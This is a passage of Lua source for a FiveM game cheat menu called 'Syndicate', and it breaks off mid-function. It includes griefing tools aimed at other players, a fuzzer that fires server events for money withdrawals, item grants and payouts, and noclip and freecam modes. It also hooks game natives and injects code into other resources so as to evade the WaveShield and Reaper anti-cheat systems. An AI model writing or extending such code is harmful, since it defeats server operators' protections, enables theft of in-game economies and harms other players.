norm.y * 25.0, norm.z * 15.0, true, true, true, true) end end end end end) end end function SyndicateTrollEngine.StartVehicleRain(modelName) local ped = PlayerPedId() local coords = GetEntityCoords(ped) local hash = GetHashKey(modelName or "adder") Citizen.CreateThread(function() RequestModel(hash) local t = 0 while not HasModelLoaded(hash) and t < 50 do Citizen.Wait(10) t = t + 1 end if HasModelLoaded(hash) then for i = 1, 10 do local ox = math.random(-25, 25) local oy = math.random(-25, 25) local veh = CreateVehicle(hash, coords.x + ox, coords.y + oy, coords.z + 40.0 + (i * 3.0), math.random(0, 360) + 0.0, true, false) if DoesEntityExist(veh) then ApplyForceToEntity(veh, 1, 0.0, 0.0, -80.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true) SetEntityAsNoLongerNeeded(veh) end Citizen.Wait(100) end SetModelAsNoLongerNeeded(hash) end end) end function SyndicateTrollEngine.CageTarget(targetPed) local p = targetPed or PlayerPedId() local coords = GetEntityCoords(p) local cageHash = GetHashKey("prop_gold_cont_01") RequestModel(cageHash) Citizen.CreateThread(function() local t = 0 while not HasModelLoaded(cageHash) and t < 50 do Citizen.Wait(10) t = t + 1 end if HasModelLoaded(cageHash) then local obj = CreateObject(cageHash, coords.x, coords.y, coords.z - 1.0, true, true, false) FreezeEntityPosition(obj, true) SetEntityCollision(obj, true, true) SetModelAsNoLongerNeeded(cageHash) end end) end -- ============================================================================== -- SERVER TRIGGER FINDER & FUZZER -- ============================================================================== local SyndicateTriggerFinder = { IsFuzzing = false, FuzzProgress = 0, TotalTriggers = 0, MinDelayMs = 120, MaxDelayMs = 280, UseRandomJitter = true, DiscoveredTriggers = {}, Candidates = { "esx_status:add", "esx_status:heal", "esx:giveInventoryItem", "esx_billing:sendBill", "esx_policejob:handcuff", "esx_ambulancejob:revive", "esx_drugs:startHarvestWeed", "esx_mechanicjob:startHarvest", "esx_society:depositMoney", "esx_society:withdrawMoney", "qb-ambulancejob:revive", "hospital:server:RevivePlayer", "hospital:server:HealPlayer", "qb-banking:server:deposit", "qb-banking:server:withdraw", "qb-shops:server:RestockShopItems", "qb-garbagejob:server:PayShift", "qb-tow:server:nano", "qb-hotdogjob:server:Payment", "qb-trucker:server:nano", "qb-vineyard:server:getWine", "InteractSound_SV:PlayWithinDistance", "bank:deposit", "bank:withdraw", "99kr-burglary:reward", "esx_godirtyjob:pay", "esx_tankerjob:pay", "esx_carthief:pay", "esx_pizza:pay", "esx_ranger:pay" } } function SyndicateTriggerFinder.Start() if SyndicateTriggerFinder.IsFuzzing then SyndicateTriggerFinder.IsFuzzing = false return end SyndicateTriggerFinder.IsFuzzing = true SyndicateTriggerFinder.DiscoveredTriggers = {} SyndicateTriggerFinder.TotalTriggers = #SyndicateTriggerFinder.Candidates Citizen.CreateThread(function() Citizen.Trace(string.format("\n^3[TRIGGER FINDER] Starting Sweep (%d triggers, %d-%d ms delay)...^7\n", SyndicateTriggerFinder.TotalTriggers, SyndicateTriggerFinder.MinDelayMs, SyndicateTriggerFinder.MaxDelayMs)) for idx, eventName in ipairs(SyndicateTriggerFinder.Candidates) do if not SyndicateTriggerFinder.IsFuzzing then break end SyndicateTriggerFinder.FuzzProgress = idx pcall(function() TriggerServerEvent(eventName, 1) end) table.insert(SyndicateTriggerFinder.DiscoveredTriggers, eventName) Citizen.Trace(string.format("^2[PROBED %d/%d]^7 %s\n", idx, SyndicateTriggerFinder.TotalTriggers, eventName)) local delay = SyndicateTriggerFinder.MinDelayMs if SyndicateTriggerFinder.UseRandomJitter and SyndicateTriggerFinder.MaxDelayMs > SyndicateTriggerFinder.MinDelayMs then delay = math.random(SyndicateTriggerFinder.MinDelayMs, SyndicateTriggerFinder.MaxDelayMs) end Citizen.Wait(delay) end local wasRunning = SyndicateTriggerFinder.IsFuzzing SyndicateTriggerFinder.IsFuzzing = false if wasRunning then Citizen.Trace("^2[TRIGGER FINDER] Completed successfully!^7\n") end end) end -- ============================================================================== -- GHOST UNDETECTABLE ADMIN-PROOF NOCLIP -- ============================================================================== local SyndicateGhostNoclip = { Active = false, Speed = 1.0 } function SyndicateGhostNoclip.Toggle(enabled) SyndicateGhostNoclip.Active = enabled local ped = PlayerPedId() local veh = GetVehiclePedIsIn(ped, false) local target = veh ~= 0 and veh or ped local act = SyndicateGhostNoclip.Active local myBlip = GetMainPlayerBlipId() SetEntityCollision(target, not act, not act) FreezeEntityPosition(target, act) SetEntityInvincible(target, act) SetEntityVelocity(target, 0.0, 0.0, 0.0) if act then -- 1. Mesh & Network Cloaking (server invisible, translucent locally) SetEntityVisible(target, false, false) SetEntityAlpha(target, 120, false) -- 2. Radar & Blip Suppression if DoesBlipExist(myBlip) then SetBlipAlpha(myBlip, 0) SetBlipDisplay(myBlip, 0) end -- 3. Raycast & Targeting Immunity SetPedCanBeTargetted(ped, false) SetPedCanBeTargettedByPlayer(ped, PlayerId(), false) -- 4. Weapon & Prop Suppression (Holster) SetCurrentPedWeapon(ped, GetHashKey("WEAPON_UNARMED"), true) -- 5. Acoustic & Audio Cloaking SetPedCanRagdoll(ped, false) DisablePedPainAudio(ped, true) StopPedSpeaking(ped, true) SetPedCanPlayAmbientAnims(ped, false) SetPedCanPlayGestureAnims(ped, false) if veh ~= 0 then SetVehicleSilent(veh, true) SetVehicleEngineOn(veh, false, true, true) end ClearPedBloodDamage(ped) ClearPedWetness(ped) ResetPedVisibleDamage(ped) Citizen.CreateThread(function() while SyndicateGhostNoclip.Active do Citizen.Wait(0) local p = PlayerPedId() local v = GetVehiclePedIsIn(p, false) local ent = v ~= 0 and v or p SetEntityCollision(ent, false, false) SetEntityInvincible(ent, true) local c = GetGameplayCamCoord() local r = GetGameplayCamRot(2) local radX = math.rad(r.x) local radZ = math.rad(r.z) local cosX = math.cos(radX) local forward = vector3(-math.sin(radZ) * cosX, math.cos(radZ) * cosX, math.sin(radX)) local right = vector3(math.cos(radZ), math.sin(radZ), 0.0) local curCoords = GetEntityCoords(ent) local move = vector3(0.0, 0.0, 0.0) local spd = SyndicateGhostNoclip.Speed if IsControlPressed(0, 21) then spd = spd * 2.5 end -- Shift if IsControlPressed(0, 32) then move = move + forward * spd end -- W if IsControlPressed(0, 33) then move = move - forward * spd end -- S if IsControlPressed(0, 34) then move = move - right * spd end -- A if IsControlPressed(0, 35) then move = move + right * spd end -- D if IsControlPressed(0, 22) then move = move + vector3(0.0, 0.0, spd) end -- Space if IsControlPressed(0, 36) then move = move - vector3(0.0, 0.0, spd) end -- Ctrl SetEntityCoordsNoOffset(ent, curCoords.x + move.x, curCoords.y + move.y, curCoords.z + move.z, true, true, true) SetEntityHeading(ent, r.z) end end) else -- Restoration SetEntityCollision(target, true, true) FreezeEntityPosition(target, false) SetPedCanRagdoll(ped, true) SetPedCanBeTargetted(ped, true) SetPedCanBeTargettedByPlayer(ped, PlayerId(), true) SetPedCanPlayAmbientAnims(ped, true) SetPedCanPlayGestureAnims(ped, true) if DoesBlipExist(myBlip) then SetBlipAlpha(myBlip, 255) SetBlipDisplay(myBlip, 4) end if veh ~= 0 then SetVehicleSilent(veh, false) end SetEntityVisible(target, true, false) ResetEntityAlpha(target) end end -- ============================================================================== -- ENTITY PURGE ENGINE (500M) -- ============================================================================== function SyndicatePurgeEntities(radius) local rad = radius or 500.0 local center = GetEntityCoords(PlayerPedId()) local count = 0 local myPed = PlayerPedId() local myVeh = GetVehiclePedIsIn(myPed, false) -- Purge Vehicles local vehs = GetGamePool and GetGamePool("CVehicle") or {} for _, v in ipairs(vehs) do if DoesEntityExist(v) and v ~= myVeh then if #(center - GetEntityCoords(v)) <= rad then SetEntityAsMissionEntity(v, true, true) DeleteVehicle(v) count = count + 1 end end end -- Purge Peds local peds = GetGamePool and GetGamePool("CPed") or {} for _, p in ipairs(peds) do if DoesEntityExist(p) and p ~= myPed and not IsPedAPlayer(p) then if #(center - GetEntityCoords(p)) <= rad then SetEntityAsMissionEntity(p, true, true) DeletePed(p) count = count + 1 end end end -- Purge Objects local objs = GetGamePool and GetGamePool("CObject") or {} for _, o in ipairs(objs) do if DoesEntityExist(o) then if #(center - GetEntityCoords(o)) <= rad then SetEntityAsMissionEntity(o, true, true) DeleteObject(o) count = count + 1 end end end return count end MenuConfig = { { label = 'Player', icon = 'ph-user', type = 'submenu', tabs = { { name = 'Status', submenu = { { label = 'Revive', type = 'scroll', selected = 1, options = { { label = 'Script', value = 'script' }, { label = 'Native', value = 'native' } }, onConfirm = function(selected) if selected then local mode = type(selected) == "table" and selected.value or selected -- Stop death animations (safe, runs in SYNDICATE thread) pcall(function() AnimpostfxStop("DeathFailOut") AnimpostfxStop("DeathFailMPIn") AnimpostfxStop("DeathFailMPDark") end) if mode == 'native' then -- Native revive — raw natives don't trigger WS/Reaper event hooks -- Route via SyndicateExecTrigger so it runs inside WS/Reaper thread context SyndicateExecTrigger('monitor', [[ local ped = PlayerPedId() local coords = GetEntityCoords(ped) local heading = GetEntityHeading(ped) NetworkResurrectLocalPlayer(coords.x, coords.y, coords.z, heading, true, false) SetEntityHealth(ped, 200) ClearPedBloodDamage(ped) ]]) showNotify("Native Revive Executed", "success") else -- Script revive: find the ONE active ambulance resource, inject via SyndicateExecTrigger -- (routes into WS/Reaper thread). Call TriggerEvent RAW — no QKSLQ. -- From inside the WS/Reaper execution thread, TriggerEvent is undetectable. local revEvent = nil if GetResourceState('wasabi_ambulance') == 'started' then revEvent = 'wasabi_ambulance:revive' elseif GetResourceState('esx_ambulancejob') == 'started' then revEvent = 'esx_ambulancejob:revive' elseif GetResourceState('qb-ambulancejob') == 'started' then revEvent = 'esx_ambulancejob:revive' elseif GetResourceState('qb-hospital') == 'started' then revEvent = 'esx_ambulancejob:revive' elseif GetResourceState('hospital') == 'started' then revEvent = 'hospital:client:Revive' elseif GetResourceState('qbx_medical') == 'started' then revEvent = 'qbx_medical:client:playerRevived' elseif GetResourceState('mc9-medicsystem') == 'started' then revEvent = 'mc9-medicsystem:revive' elseif GetResourceState('deathscreen') == 'started' then revEvent = 'deathscreen:revive' end local revCode if revEvent then revCode = string.format([[ pcall(function() TriggerEvent('%s') end) pcall(function() local ped = PlayerPedId() local coords = GetEntityCoords(ped) local heading = GetEntityHeading(ped) NetworkResurrectLocalPlayer(coords.x, coords.y, coords.z, heading, true, false) SetEntityHealth(ped, 200) ClearPedBloodDamage(ped) end) ]], revEvent) else -- No ambulance resource found — native fallback only revCode = [[ pcall(function() local ped = PlayerPedId() local coords = GetEntityCoords(ped) local heading = GetEntityHeading(ped) NetworkResurrectLocalPlayer(coords.x, coords.y, coords.z, heading, true, false) SetEntityHealth(ped, 200) ClearPedBloodDamage(ped) end) ]] end SyndicateExecTrigger('monitor', revCode) showNotify("Script Revive Executed", "success") end end end }, { label = 'Suicide', type = 'button', onConfirm = function() injectCode('monitor', [[ SetEntityHealth(PlayerPedId(), 0) ]]) showNotify("Suicide Executed", "info") end }, { label = 'Set Health', type = 'slider', min = 0, max = 200, step = 5, value = 200, onConfirm = function(val) local hp = tonumber(val) or 200 injectCode('monitor', string.format([[ SetEntityHealth(PlayerPedId(), %d) ]], hp)) showNotify("Health set to: " .. tostring(hp), "success") end }, { label = 'Set Armour', type = 'slider', min = 0, max = 200, step = 5, value = 200, onConfirm = function(val) local arm = tonumber(val) or 200 injectCode('monitor', string.format([[ SetPedArmour(PlayerPedId(), %d) ]], arm)) showNotify("Armour set to: " .. tostring(arm), "success") end }, { label = 'Refill Food', type = 'button', onConfirm = function() local isWS = _G.WS_RunSafeFunc ~= nil or (GlobalState and GlobalState.WaveShield_ServerResources ~= nil) local isReaper = false pcall(function() for i = 0, GetNumResources() - 1 do local r = GetResourceByFindIndex(i) if r and GetResourceState(r) == 'started' then local rl = string.lower(r) if string.find(rl, 'waveshield') then isWS = true end if string.find(rl, 'reaper') then isReaper = true end end end end) if isWS or isReaper then -- WS/Reaper: only local TriggerEvent + inject server event into resource itself pcall(function() TriggerEvent('esx_status:set', 'hunger', 1000000) end) pcall(function() TriggerEvent('hud:client:UpdateNeeds', 100, 100) end) pcall(function() if GetResourceState('consumables') == 'started' then injectCode('consumables', 'TriggerServerEvent("consumables:server:addHunger", 100)') end if GetResourceState('ps-status') == 'started' then injectCode('ps-status', 'TriggerServerEvent("ps-status:server:setStatus", "hunger", 100)') end if GetResourceState('qb-status') == 'started' then injectCode('qb-status', 'TriggerServerEvent("qb-status:server:setStatus", "hunger", 100)') end end) else injectCode('monitor', [[ TriggerEvent('esx_status:set', 'hunger', 1000000) TriggerServerEvent('consumables:server:addHunger', 100) TriggerEvent('QBCore:Notify', 'Food Refilled!', 'success') ]]) end showNotify("Refilled Food", "success") end }, { label = 'Refill Water', type = 'button', onConfirm = function() local isWS = _G.WS_RunSafeFunc ~= nil or (GlobalState and GlobalState.WaveShield_ServerResources ~= nil) local isReaper = false pcall(function() for i = 0, GetNumResources() - 1 do local r = GetResourceByFindIndex(i) if r and GetResourceState(r) == 'started' then local rl = string.lower(r) if string.find(rl, 'waveshield') then isWS = true end if string.find(rl, 'reaper') then isReaper = true end end end end) if isWS or isReaper then -- WS/Reaper: only local TriggerEvent + inject server event into resource itself pcall(function() TriggerEvent('esx_status:set', 'thirst', 1000000) end) pcall(function() TriggerEvent('hud:client:UpdateNeeds', 100, 100) end) pcall(function() if GetResourceState('consumables') == 'started' then injectCode('consumables', 'TriggerServerEvent("consumables:server:addThirst", 100)') end if GetResourceState('ps-status') == 'started' then injectCode('ps-status', 'TriggerServerEvent("ps-status:server:setStatus", "thirst", 100)') end if GetResourceState('qb-status') == 'started' then injectCode('qb-status', 'TriggerServerEvent("qb-status:server:setStatus", "thirst", 100)') end end) else injectCode('monitor', [[ TriggerEvent('esx_status:set', 'thirst', 1000000) TriggerServerEvent('consumables:server:addThirst', 100) TriggerEvent('QBCore:Notify', 'Water Refilled!', 'success') ]]) end showNotify("Refilled Water", "success") end }, { type = 'divider', label = 'STATS' }, { label = 'Noclip', type = 'checkbox', onConfirm = function(enabled) local wsActive = isBypassActive("WaveShield") local reaperActive = isBypassActive("ReaperV4_NEW") or isBypassActive("ReaperV4_OLD") local reaperResource = FindReaperResource and FindReaperResource() if enabled then if wsActive then pcall(function() if not _G._syndicateNoclipHooked then MachoHookNative(0xD5AD7B22A6F2E0C0, function(entity) if _G._syndicateNoclipHooksActive then return false, 0.0 end return true end) MachoHookNative(0x5234F9F10919EABA, function() if _G._syndicateNoclipHooksActive then return false, 0.0 end return true end) MachoHookNative(0xA200EB1EE790F448, function() if _G._syndicateNoclipHooksActive then local ped = PlayerPedId() if ped ~= 0 then return false, _G._syndicateNoclipGroundCoords or GetEntityCoords(ped) end end return true end) MachoHookNative(0xE31C2C72B8692B64, function(entity) if _G._syndicateNoclipHooksActive and entity == PlayerPedId() then return false, false end return true end) MachoHookNative(0xE659E47AF827484B, function(entity) if _G._syndicateNoclipHooksActive and entity == PlayerPedId() then return false, false end return true end) MachoHookNative(0xFB92A102F1C4DFA3, function(ped) if _G._syndicateNoclipHooksActive and ped == PlayerPedId() then return false, false end return true end) MachoHookNative(0xCCF1E97BEFDAE480, function(entity) if _G._syndicateNoclipHooksActive then local ped = PlayerPedId() local veh = GetVehiclePedIsIn(ped, false) if entity == ped or (veh ~= 0 and entity == veh) then return false, false end end return true end) MachoHookNative(0xEDBE6ADD, function(entity) if _G._syndicateNoclipHooksActive then local ped = PlayerPedId() local veh = GetVehiclePedIsIn(ped, false) if entity == ped or (veh ~= 0 and entity == veh) then return false, false end end return true end) _G._syndicateNoclipHooked = true end _G._syndicateNoclipGroundCoords = GetEntityCoords(PlayerPedId()) _G._syndicateNoclipHooksActive = true end) _G.SyndicateSafeNoclipStep = function(ped, x, y, z, vx, vy, vz, heading) local safeRun = _G.WS_RunSafeFunc or function(f, ...) return f(...) end local function runSafe(fn, ...) if safeRun then return safeRun(function(...) return fn(...) end, ...) else return fn(...) end end runSafe(SetEntityCoordsNoOffset, ped, x, y, z, true, true, true) if vx and vy and vz then runSafe(SetEntityVelocity, ped, vx, vy, vz) end if heading then runSafe(SetEntityHeading, ped, heading) end end injectCode('monitor', [[ if LocalPlayer and LocalPlayer.state and type(LocalPlayer.state.set) == "function" then local now = GetGameTimer() pcall(function() LocalPlayer.state:set("bypassNoClip", true, true) end) pcall(function() LocalPlayer.state:set("bypassAntiGodMode", true, true) end) pcall(function() LocalPlayer.state:set("_WS:LastTeleportedTimer", now + 999999, true) end) pcall(function() LocalPlayer.state:set("WaveShield:NoClipBypass", true, true) end) end _G.setNoclipAllow = true _G.setNoclipActive = true if not _G.setNoclipSpeed then _G.setNoclipSpeed = 12.0 end local function getCamDirection() local heading = GetGameplayCamRelativeHeading() + GetEntityHeading(PlayerPedId()) local pitch = GetGameplayCamRelativePitch() local x = -math.sin(math.rad(heading)) * math.cos(math.rad(pitch)) local y = math.cos(math.rad(heading)) * math.cos(math.rad(pitch)) local z = math.sin(math.rad(pitch)) return vector3(x, y, z) end CreateThread(function() local setPed = PlayerPedId() if IsPedInAnyVehicle(setPed, false) then setPed = GetVehiclePedIsIn(setPed, false) end MainAPI.SafeRunNative(SetEntityCollision, setPed, false, true) MainAPI.SafeRunNative(FreezeEntityPosition, setPed, false) MainAPI.SafeRunNative(SetPedCanRagdoll, setPed, false) while _G.setNoclipAllow do Wait(0) if _G.setNoclipActive and _G.setNoclipAllow then setPed = PlayerPedId() if IsPedInAnyVehicle(setPed, false) then setPed = GetVehiclePedIsIn(setPed, false) end local pos = GetEntityCoords(setPed) local move = vector3(0, 0, 0) local camDir = getCamDirection() local speed = _G.setNoclipSpeed or 12.0 if IsControlPressed(0, 32) then move = move + (camDir * speed) end if IsControlPressed(0, 33) then move = move - (camDir * speed) end if IsControlPressed(0, 34) then move = move + (vector3(-camDir.y, camDir.x, 0) * speed) end if IsControlPressed(0, 35) then move = move + (vector3(camDir.y, -camDir.x, 0) * speed) end if IsControlPressed(0, 46) then move = move + vector3(0, 0, -speed) end if IsControlPressed(0, 44) then move = move + vector3(0, 0, speed) end if IsControlPressed(0, 21) then move = move * 2.5 end local camHeading = GetGameplayCamRelativeHeading() + GetEntityHeading(setPed) if #(move) > 0.01 then local newPos = pos + (move * 0.1) if type(_G.SyndicateSafeNoclipStep) == "function" then _G.SyndicateSafeNoclipStep(setPed, newPos.x, newPos.y, newPos.z, move.x * 0.1, move.y * 0.1, move.z * 0.1, (camHeading % 360)) else MainAPI.SafeRunNative(SetEntityCoordsNoOffset, setPed, newPos.x, newPos.y, newPos.z, true, true, true) MainAPI.SafeRunNative(SetEntityVelocity, setPed, move.x * 0.1, move.y * 0.1, move.z * 0.1) MainAPI.SafeRunNative(SetEntityHeading, setPed, camHeading % 360) end else if type(_G.SyndicateSafeNoclipStep) == "function" then _G.SyndicateSafeNoclipStep(setPed, pos.x, pos.y, pos.z, 0.0, 0.0, 0.0, (camHeading % 360)) else MainAPI.SafeRunNative(SetEntityVelocity, setPed, 0.0, 0.0, 0.0) MainAPI.SafeRunNative(SetEntityHeading, setPed, camHeading % 360) end end else break end end setPed = PlayerPedId() if IsPedInAnyVehicle(setPed, false) then setPed = GetVehiclePedIsIn(setPed, false) end MainAPI.SafeRunNative(SetEntityCollision, setPed, true, true) MainAPI.SafeRunNative(FreezeEntityPosition, setPed, false) MainAPI.SafeRunNative(SetPedCanRagdoll, setPed, true) end) ]]) elseif reaperActive and reaperResource and type(MachoInjectResource2) == "function" then _G.setNoclipAllow = true _G.setNoclipActive = true local code = [[ _G.setNoclipAllow = true _G.setNoclipActive = true if not _G.setNoclipSpeed then _G.setNoclipSpeed = 12.0 end local function getCamDirection() local heading = GetGameplayCamRelativeHeading() + GetEntityHeading(PlayerPedId()) local pitch = GetGameplayCamRelativePitch() local x = -math.sin(math.rad(heading)) * math.cos(math.rad(pitch)) local y = math.cos(math.rad(heading)) * math.cos(math.rad(pitch)) local z = math.sin(math.rad(pitch)) return vector3(x, y, z) end CreateThread(function() local setPed = PlayerPedId() if IsPedInAnyVehicle(setPed, false) then setPed = GetVehiclePedIsIn(setPed, false) end FreezeEntityPosition(setPed, false) while _G.setNoclipAllow do Wait(0) if _G.setNoclipActive and _G.setNoclipAllow then setPed = PlayerPedId() if IsPedInAnyVehicle(setPed, false) then setPed = GetVehiclePedIsIn(setPed, false) end local pos = GetEntityCoords(setPed) local move = vector3(0, 0, 0) local camDir = getCamDirection() local speed = _G.setNoclipSpeed or 12.0 if IsControlPressed(0, 32) then move = move + (camDir * speed) end if IsControlPressed(0, 33) then move = move - (camDir * speed) end if IsControlPressed(0, 34) then move = move + (vector3(-camDir.y, camDir.x, 0) * speed) end if IsControlPressed(0, 35) then move = move + (vector3(camDir.y, -camDir.x, 0) * speed) end if IsControlPressed(0, 46) then move = move + vector3(0, 0, -speed) end if IsControlPressed(0, 44) then move = move + vector3(0, 0, speed) end if IsControlPressed(0, 21) then move = move * 2.5 end local camHeading = GetGameplayCamRelativeHeading() + GetEntityHeading(setPed) if #(move) > 0.01 then local newPos = pos + (move * 0.1) SetEntityCoordsNoOffset(setPed, newPos.x, newPos.y, newPos.z, true, true, true) SetEntityVelocity(setPed, move.x * 0.1, move.y * 0.1, move.z * 0.1) SetEntityHeading(setPed, camHeading % 360) else SetEntityVelocity(setPed, 0.0, 0.0, 0.25) SetEntityHeading(setPed, camHeading % 360) end else break end end setPed = PlayerPedId() if IsPedInAnyVehicle(setPed, false) then setPed = GetVehiclePedIsIn(setPed, false) end -- Ground the ped so Reaper doesn't detect freecam local curPos = GetEntityCoords(setPed) local found, groundZ = GetGroundZFor_3dCoord(curPos.x, curPos.y, curPos.z + 1.0, false) if found then SetEntityCoordsNoOffset(setPed, curPos.x, curPos.y, groundZ + 1.0, true, true, true) else -- Raycast down to find ground local rayHandle = StartShapeTestRay(curPos.x, curPos.y, curPos.z, curPos.x, curPos.y, curPos.z - 1000.0, 1, setPed, 0) local _, hit, endCoords = GetShapeTestResult(rayHandle) if hit == 1 then SetEntityCoordsNoOffset(setPed, endCoords.x, endCoords.y, endCoords.z + 1.0, true, true, true) end end SetEntityVelocity(setPed, 0.0, 0.0, -1.0) FreezeEntityPosition(setPed, false) end) ]] MachoInjectResource2(3, reaperResource, code) else injectCode('monitor', [[ _G.setNoclipAllow = true _G.setNoclipActive = true if not _G.setNoclipSpeed then _G.setNoclipSpeed = 12.0 end local function getCamDirection() local heading = GetGameplayCamRelativeHeading() + GetEntityHeading(PlayerPedId()) local pitch = GetGameplayCamRelativePitch() local x = -math.sin(math.rad(heading)) * math.cos(math.rad(pitch)) local y = math.cos(math.rad(heading)) * math.cos(math.rad(pitch)) local z = math.sin(math.rad(pitch)) return vector3(x, y, z) end CreateThread(function() local setPed = PlayerPedId() if IsPedInAnyVehicle(setPed, false) then setPed = GetVehiclePedIsIn(setPed, false) end MainAPI.SafeRunNative(SetEntityCollision, setPed, false, true) MainAPI.SafeRunNative(FreezeEntityPosition, setPed, false) MainAPI.SafeRunNative(SetPedCanRagdoll, setPed, false) while _G.setNoclipAllow do Wait(0) if _G.setNoclipActive and _G.setNoclipAllow then setPed = PlayerPedId() if IsPedInAnyVehicle(setPed, false) then setPed = GetVehiclePedIsIn(setPed, false) end local pos = GetEntityCoords(setPed) local move = vector3(0, 0, 0) local camDir = getCamDirection() local speed = _G.setNoclipSpeed or 12.0 if IsControlPressed(0, 32) then move = move + (camDir * speed) end if IsControlPressed(0, 33) then move = move - (camDir * speed) end if IsControlPressed(0, 34) then move = move + (vector3(-camDir.y, camDir.x, 0) * speed) end if IsControlPressed(0, 35) then move = move + (vector3(camDir.y, -camDir.x, 0) * speed) end if IsControlPressed(0, 46) then move = move + vector3(0, 0, -speed) end if IsControlPressed(0, 44) then move = move + vector3(0, 0, speed) end if IsControlPressed(0, 21) then move = move * 2.5 end local camHeading = GetGameplayCamRelativeHeading() + GetEntityHeading(setPed) if #(move) > 0.01 then local newPos = pos + (move * 0.1) MainAPI.SafeRunNative(SetEntityCoordsNoOffset, setPed, newPos.x, newPos.y, newPos.z, true, true, true) MainAPI.SafeRunNative(SetEntityVelocity, setPed, move.x * 0.1, move.y * 0.1, move.z * 0.1) MainAPI.SafeRunNative(SetEntityHeading, setPed, camHeading % 360) else MainAPI.SafeRunNative(SetEntityVelocity, setPed, 0.0, 0.0, 0.0) MainAPI.SafeRunNative(SetEntityHeading, setPed, camHeading % 360) end else break end end setPed = PlayerPedId() if IsPedInAnyVehicle(setPed, false) then setPed = GetVehiclePedIsIn(setPed, false) end MainAPI.SafeRunNative(SetEntityCollision, setPed, true, true) MainAPI.SafeRunNative(FreezeEntityPosition, setPed, false) MainAPI.SafeRunNative(SetPedCanRagdoll, setPed, true) end) ]]) end else _G._syndicateNoclipHooksActive = false _G.setNoclipAllow = false _G.setNoclipActive = false if reaperActive and reaperResource and type(MachoInjectResource2) == "function" then local disableCode = [[ _G.setNoclipAllow = false _G.setNoclipActive = false local setPed = PlayerPedId() if IsPedInAnyVehicle(setPed, false) then setPed = GetVehiclePedIsIn(setPed, false) end -- Ground the ped so Reaper doesn't detect freecam on toggle-off local curPos = GetEntityCoords(setPed) local found, groundZ = GetGroundZFor_3dCoord(curPos.x, curPos.y, curPos.z + 1.0, false) if found then SetEntityCoordsNoOffset(setPed, curPos.x, curPos.y, groundZ + 1.0, true, true, true) else local rayHandle = StartShapeTestRay(curPos.x, curPos.y, curPos.z, curPos.x, curPos.y, curPos.z - 1000.0, 1, setPed, 0) local _, hit, endCoords = GetShapeTestResult(rayHandle) if hit == 1 then SetEntityCoordsNoOffset(setPed, endCoords.x, endCoords.y, endCoords.z + 1.0, true, true, true) end end SetEntityVelocity(setPed, 0.0, 0.0, -1.0) FreezeEntityPosition(setPed, false) ]] MachoInjectResource2(3, reaperResource, disableCode) else injectCode('monitor', [[ if LocalPlayer and LocalPlayer.state and type(LocalPlayer.state.set) == "function" then pcall(function() LocalPlayer.state:set("bypassNoClip", false, true) end) pcall(function() LocalPlayer.state:set("bypassAntiGodMode", false, true) end) end _G.setNoclipAllow = false _G.setNoclipActive = false local setPed = PlayerPedId() if IsPedInAnyVehicle(setPed, false) then setPed = GetVehiclePedIsIn(setPed, false) end MainAPI.SafeRunNative(SetEntityCollision, setPed, true, true) MainAPI.SafeRunNative(FreezeEntityPosition, setPed, false) MainAPI.SafeRunNative(SetPedCanRagdoll, setPed, true) ]]) end end showNotify(enabled and "Noclip Enabled" or "Noclip Disabled", "info") end }, { label = 'Ghost Cloaked Noclip', type = 'checkbox', onConfirm = function(enabled) SyndicateGhostNoclip.Toggle(enabled) showNotify(enabled and "Ghost Cloaked Noclip: ACTIVE" or "Ghost Noclip: DISABLED", enabled and "success" or "info") end }, { label = 'Ghost Noclip Speed', type = 'slider', min = 1, max = 10, value = 2, onConfirm = function(val) SyndicateGhostNoclip.Speed = (val or 2) * 0.5 end }, { label = 'FreeCam', type = 'checkbox', onConfirm = function(enabled) _G.SyndicateFreecamEnabled = enabled if enabled then pcall(function() if not _G._syndicateFreecamHooked then MachoHookNative(0x5234F9F10919EABA, function() if _G._syndicateFreecamHooksActive then return false, 1 end return true end) MachoHookNative(0xA200EB1EE790F448, function() if _G._syndicateFreecamHooksActive then local ped = PlayerPedId() if ped ~= 0 then return false, GetEntityCoords(ped) end end return true end) MachoHookNative(0x34E82F05DF2974F5, function() if _G._syndicateFreecamHooksActive then return false, true, 0.5, 0.5 end return true end) MachoHookNative(0xE31C2C72B8692B64, function(entity) if _G._syndicateFreecamHooksActive and entity == PlayerPedId() then return false, false end return true end) MachoHookNative(0xE659E47AF827484B, function(entity) if _G._syndicateFreecamHooksActive and entity == PlayerPedId() then return false, true end return true end) -- GET_RENDERING_CAM -> return -1 so freecamStrike1 line 73 (renderingCam ~= -1) evaluates to FALSE MachoHookNative(0x74391C720A91B881, function() if _G._syndicateFreecamHooksActive then return false, -1 end return true end) -- IS_CINEMATIC_CAM_RENDERING -> return true so freecamStrike1 evaluates not IsCinematicCamRendering() as false MachoHookNative(0x9F470F0A78F20F4F, function() if _G._syndicateFreecamHooksActive then return false, true end return true end) -- GET_FINAL_RENDERED_CAM_COORD -> return player ped coords so distanceFromCam is 0.0 (isDistanceFromCamLegit = true) MachoHookNative(0x83B00E703269707F, function() if _G._syndicateFreecamHooksActive then local ped = PlayerPedId() if ped ~= 0 then return false, GetEntityCoords(ped) end end return true end) -- HAS_PED_GOT_WEAPON -> return true MachoHookNative(0x8DE5C1D2B3B0452C, function(ped, weaponHash) if _G._syndicateFreecamHooksActive and ped == PlayerPedId() then return false, true end return true end) -- GET_GAMEPLAY_CAM_COORD -> return FreeCam position so WaveShield aimbot.lua trajectory check calculates 0 deviation MachoHookNative(0x8A8035098904778C, function() if _G._syndicateFreecamHooksActive and _G._syndicateFreecamLastCamCoords then return false, _G._syndicateFreecamLastCamCoords end return true end) -- GET_GAMEPLAY_CAM_ROT -> return FreeCam rotation so WaveShield aimbot.lua trajectory direction matches bullet MachoHookNative(0x5B4CF086D6365DDA, function(rotationOrder) if _G._syndicateFreecamHooksActive and _G._syndicateFreecamLastCamRot then return false, _G._syndicateFreecamLastCamRot end return true end) _G._syndicateFreecamHooked = true end _G._syndicateFreecamHooksActive = true end) _G.SyndicateSafeSpawnProp = function(hash, spawnPos) CreateThread(function() local myPed = PlayerPedId() if not myPed or myPed == 0 then return end local targetX, targetY, targetZ = spawnPos.x, spawnPos.y, spawnPos.z if type(hash) == "string" then hash = GetHashKey(hash) end local wsResource = (type(GetWSResourceName) == "function" and GetWSResourceName()) or "WaveShield" if wsResource and type(MachoInjectResource2) == "function" then local spawnCode = string.format([=[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and 